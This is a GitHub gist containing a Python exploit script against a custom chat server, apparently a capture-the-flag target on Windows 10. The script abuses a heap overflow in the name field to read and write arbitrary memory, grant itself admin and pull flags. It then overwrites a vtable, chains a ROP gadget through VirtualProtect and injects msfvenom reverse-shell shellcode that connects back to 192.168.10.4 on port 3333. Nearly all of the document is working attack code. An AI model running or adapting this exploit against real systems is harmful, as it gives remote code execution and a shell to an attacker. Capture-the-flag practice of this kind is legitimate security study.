Created
December 22, 2019 17:06
-
-
Save mauronz/d5d211a0fdd387b45e25505a063e55b0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import * | |
import struct | |
controller = None | |
puppet = None | |
class ChatClient: | |
def __init__(self, server): | |
self._server = server | |
self._sock = socket(AF_INET, SOCK_STREAM, 0) | |
def connect(self, username): | |
self._sock.connect(self._server) | |
self.setname(username) | |
def parse_command(self, response): | |
cmd = response[:8].replace(b'\0', b'') | |
msg = response[12:] | |
return cmd, msg | |
def send_command(self, command, msg): | |
packet = command.ljust(8, b'\0') | |
packet += struct.pack('<L', len(msg)) | |
packet += msg | |
self._sock.send(packet) | |
def setname(self, username): | |
#name = username.decode("hex") | |
self.send_command(b'SETNAME', username) | |
self.parse_command(self._sock.recv(1024)) | |
def getname(self): | |
self.send_command(b'GETNAME', b'') | |
cmd, msg = self.parse_command(self._sock.recv(1024)) | |
return msg | |
def isadmin(self): | |
self.send_command(b'ISADMIN', b'') | |
cmd, msg = self.parse_command(self._sock.recv(1024)) | |
return msg | |
def getflag(self): | |
self.send_command(b'GETFLAG', b'') | |
cmd, msg = self.parse_command(self._sock.recv(1024)) | |
return msg | |
def sendmsg(self, msg): | |
#msg = b"A" * (1024 - 8 - 4) | |
self.send_command(b'SENDMSG', msg) | |
cmd, msg = self.parse_command(self._sock.recv(1024)) | |
def getmsg(self): | |
while True: | |
cmd, msg = self.parse_command(self._sock.recv(1024)) | |
if cmd == b'SENDMSG': | |
print(msg) | |
def close(self): | |
self._sock.close() | |
def generic_read(addr, size): | |
orig = controller.getname() | |
result = b"" | |
offset = 0 | |
while offset < size: | |
block_size = min(0x40, size - offset) | |
newname = orig[:0x10] + struct.pack("<I", block_size) + struct.pack("<I", addr + offset) | |
controller.setname(newname) | |
data = puppet.getname() | |
result += data[:block_size] | |
offset += block_size | |
controller.setname(orig) | |
return result | |
def read_dword(addr): | |
return struct.unpack("<I", generic_read(addr, 4))[0] | |
def get_export(dll_base, function_name): | |
hdr = generic_read(dll_base, 0x1000) | |
pe_hdr_offset = struct.unpack("<I", hdr[0x3c:0x40])[0] | |
pe_hdr = hdr[pe_hdr_offset:] | |
export_addr, export_size = struct.unpack("<II", pe_hdr[0x78:0x80]) | |
export = generic_read(dll_base + export_addr, export_size) | |
list_size, func_list_addr, name_list_addr, ordinal_list_addr = struct.unpack("<IIII", export[0x18:0x28]) | |
func_list_offset = func_list_addr - export_addr | |
name_list_offset = name_list_addr - export_addr | |
ordinal_list_offset = ordinal_list_addr - export_addr | |
for i in range(list_size): | |
name_offset = name_list_offset + 4 * i | |
string_addr = struct.unpack("<I", export[name_offset:name_offset + 4])[0] | |
string_offset = string_addr - export_addr | |
string = export[string_offset:export.find(b"\x00", string_offset)] | |
if string == function_name: | |
ordinal_offset = ordinal_list_offset + 2 * i | |
ordinal = struct.unpack("<H", export[ordinal_offset:ordinal_offset + 2])[0] | |
func_offset = func_list_offset + 4 * ordinal | |
return dll_base + struct.unpack("<I", export[func_offset:func_offset + 4])[0] | |
def generic_write(addr, data): | |
orig = controller.getname() | |
offset = 0 | |
size = len(data) | |
while offset < size: | |
block_size = min(0x40, size - offset) | |
block = data[offset:offset+block_size] | |
if block_size < 0x40: | |
newname = orig[:0x10] + struct.pack("<I", 0x40 - block_size) + struct.pack("<I", addr + offset + block_size) | |
tmp = puppet.getname() | |
block += tmp | |
newname = orig[:0x10] + struct.pack("<I", 0x40) + struct.pack("<I", addr + offset) | |
controller.setname(newname) | |
data = puppet.setname(block) | |
offset += block_size | |
controller.setname(orig) | |
if __name__ == '__main__': | |
server = ("192.168.10.3", 1337) | |
# Create dummy clients to activate LFH bucket (Windows 10) | |
l = list() | |
for i in range(4): | |
client = ChatClient(server) | |
client.connect(username=b"x" * 0x30) | |
l.append(client) | |
for c in l: | |
c.close() | |
controller = ChatClient(server) | |
controller.connect(username=b"x" * 0x18) | |
controller.setname(b"x" * 0x50) | |
# Create new puppets until one ends up in the controller name (Windows 10) | |
count = 0 | |
l = list() | |
while True: | |
print(count) | |
puppet = ChatClient(server) | |
puppet.connect(username=b"x" * 0x40) | |
val = struct.unpack("<I", controller.getname()[:4])[0] | |
if val & 0xfff == 0x81c: | |
break | |
count += 1 | |
original_puppet_data = controller.getname() | |
# Flag 1 | |
# Make puppet admin | |
newname = original_puppet_data[:0xc] + b"\x01\x00\x00\x00" + original_puppet_data[0x10:] | |
controller.setname(newname) | |
data = puppet.getflag() | |
print(data.decode()) | |
# Flag 2 | |
# Get exe image base | |
data = controller.getname() | |
vtable = struct.unpack("<I", data[:4])[0] | |
img_base = vtable - 0x581c | |
print("Image base: 0x{:08x}".format(img_base)) | |
# Get admin addr | |
client_slot_addr = img_base + 0x7458 | |
admin_addr = read_dword(client_slot_addr) | |
print("Admin object address: 0x{:08x}".format(admin_addr)) | |
admin_name_len = read_dword(admin_addr+0x10) | |
admin_name_addr = read_dword(admin_addr+0x14) | |
admin_name = generic_read(admin_name_addr, admin_name_len) | |
print(admin_name.decode()) | |
# Flag 3 | |
vtable_content = generic_read(vtable, 9 * 4) | |
flag2_addr = img_base + 0x18a0 | |
# Reset puppet | |
controller.setname(original_puppet_data) | |
puppet_name_addr = struct.unpack("<I", original_puppet_data[0x14:0x18])[0] | |
# Override the the address of GetFlag1 with the address of GetFlag2 | |
custom_vtable = vtable_content[:0x14] + struct.pack("<I", flag2_addr) + vtable_content[0x18:] | |
custom_vtable += b"\x00" * (0x40 - len(custom_vtable)) | |
puppet.setname(custom_vtable) | |
newname = struct.pack("<I", puppet_name_addr) + original_puppet_data[4:] | |
controller.setname(newname) | |
data = puppet.getflag() | |
print(data.decode()) | |
# Code execution | |
# Find the gadget "add esp, 0x18; ret" inside ucrtbase.dll | |
free_imp_addr = img_base + 0x50b8 | |
free_addr = read_dword(free_imp_addr) | |
ucrtbase_base = (free_addr & 0xffff0000) | |
while generic_read(ucrtbase_base, 2) != b"MZ": | |
ucrtbase_base -= 0x10000 | |
offset = 0x1000 | |
gadget_addr = 0 | |
while gadget_addr == 0: | |
ucrtbase_code = generic_read(ucrtbase_base + offset, 0x1000) | |
gadget_offset = ucrtbase_code.find(b"\x83\xc4\x18\xc3") | |
if gadget_offset != -1: | |
gadget_addr = ucrtbase_base + offset + gadget_offset | |
offset += 0x1000 | |
print("Gadget address: 0x{:08x}".format(gadget_addr)) | |
# Find the address of VirtualProtect | |
getlasterror_imp_addr = img_base + 0x5000 | |
getlasterror_addr = read_dword(getlasterror_imp_addr) | |
print("GetLastError addresss: 0x{:08x}".format(getlasterror_addr)) | |
kernel32_base = (getlasterror_addr & 0xffff0000) | |
while generic_read(kernel32_base, 2) != b"MZ": | |
kernel32_base -= 0x10000 | |
print("kernel32.dll base: 0x{:08x}".format(kernel32_base)) | |
virtualprotect_addr = get_export(kernel32_base, b"VirtualProtect") | |
print("VirtualProtect address: 0x{:08x}".format(virtualprotect_addr)) | |
# Replace ChatClient::SendMsg with the gadget | |
custom_vtable = vtable_content[:0x10] + struct.pack("<I", gadget_addr) + vtable_content[0x14:] | |
custom_vtable += b"\x00" * (0x40 - len(custom_vtable)) | |
puppet.setname(custom_vtable) | |
newname = struct.pack("<I", puppet_name_addr) + original_puppet_data[4:] | |
controller.setname(newname) | |
# Create a new client to store the staging shellcode | |
sc_client = ChatClient(server) | |
sc_client.connect(username=b"x" * 0x40) | |
# sc_client = 4th entry of client_slot | |
sc_client_addr = read_dword(client_slot_addr + 0xc) | |
staging_sc_addr = read_dword(sc_client_addr + 0x14) | |
print("Staging shellcode address: 0x{:08x}".format(staging_sc_addr)) | |
shellcode_page = staging_sc_addr & 0xfffff000 | |
rop = struct.pack("<I", virtualprotect_addr) \ | |
+ struct.pack("<I", staging_sc_addr) \ | |
+ struct.pack("<I", shellcode_page) \ | |
+ struct.pack("<I", 0x1000) \ | |
+ struct.pack("<I", 0x40) \ | |
+ struct.pack("<I", staging_sc_addr + 0x3c) # store the old protection inside the padding of the staging shellcode (not used) | |
# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.10.4 LPORT=3333 -f python | |
rev_shell = b"" | |
rev_shell += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" | |
rev_shell += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" | |
rev_shell += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" | |
rev_shell += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" | |
rev_shell += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" | |
rev_shell += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" | |
rev_shell += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" | |
rev_shell += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" | |
rev_shell += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" | |
rev_shell += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" | |
rev_shell += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" | |
rev_shell += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff" | |
rev_shell += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80" | |
rev_shell += b"\x6b\x00\xff\xd5\x6a\x0a\x68\xAA\xAA\xAA\xAA\x68\x02" | |
rev_shell += b"\x00\xBB\xBB\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" | |
rev_shell += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68" | |
rev_shell += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08" | |
rev_shell += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57" | |
rev_shell += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b" | |
rev_shell += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58" | |
rev_shell += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68" | |
rev_shell += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68" | |
rev_shell += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff" | |
rev_shell += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c" | |
rev_shell += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01" | |
rev_shell += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" | |
rev_shell += b"\x53\xff\xd5" | |
# ip of server listening for the reverse shell... | |
rev_shell = rev_shell.replace(b"\xAA\xAA\xAA\xAA", struct.pack("BBBB", 192, 168, 10, 4)) | |
# ...and port | |
rev_shell = rev_shell.replace(b"\xBB\xBB", struct.pack(">H", 3333)) | |
msg = rop + rev_shell | |
""" | |
Staging shellcode | |
mov edi, esp | |
mov ebx, esp | |
shr ebx, 0xc | |
shl ebx, 0xc | |
push 0xaaaaaaaa ; pointer to old protect | |
push 0x40 | |
push 0x1000 | |
push ebx | |
mov ebp, 0xcccccccc ; address of VirtualProtect | |
call ebp | |
jmp edi | |
""" | |
shellcode = b"\x89\xE7\x89\xE3\xC1\xEB\x0C\xC1\xE3\x0C\x68\xAA\xAA\xAA\xAA\x6A\x40\x68\x00\x10\x00\x00\x53\xBD\xCC\xCC\xCC\xCC\xFF\xD5\xFF\xE7" | |
shellcode += b"\x00" * (0x40 - len(shellcode)) | |
# store the old protection inside the padding of the staging shellcode (not used) | |
shellcode = shellcode.replace(b"\xAA\xAA\xAA\xAA", struct.pack("<I", staging_sc_addr + 0x3c)) | |
shellcode = shellcode.replace(b"\xCC\xCC\xCC\xCC", struct.pack("<I", virtualprotect_addr)) | |
sc_client.setname(shellcode) | |
puppet.sendmsg(msg) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Nice catch 🌹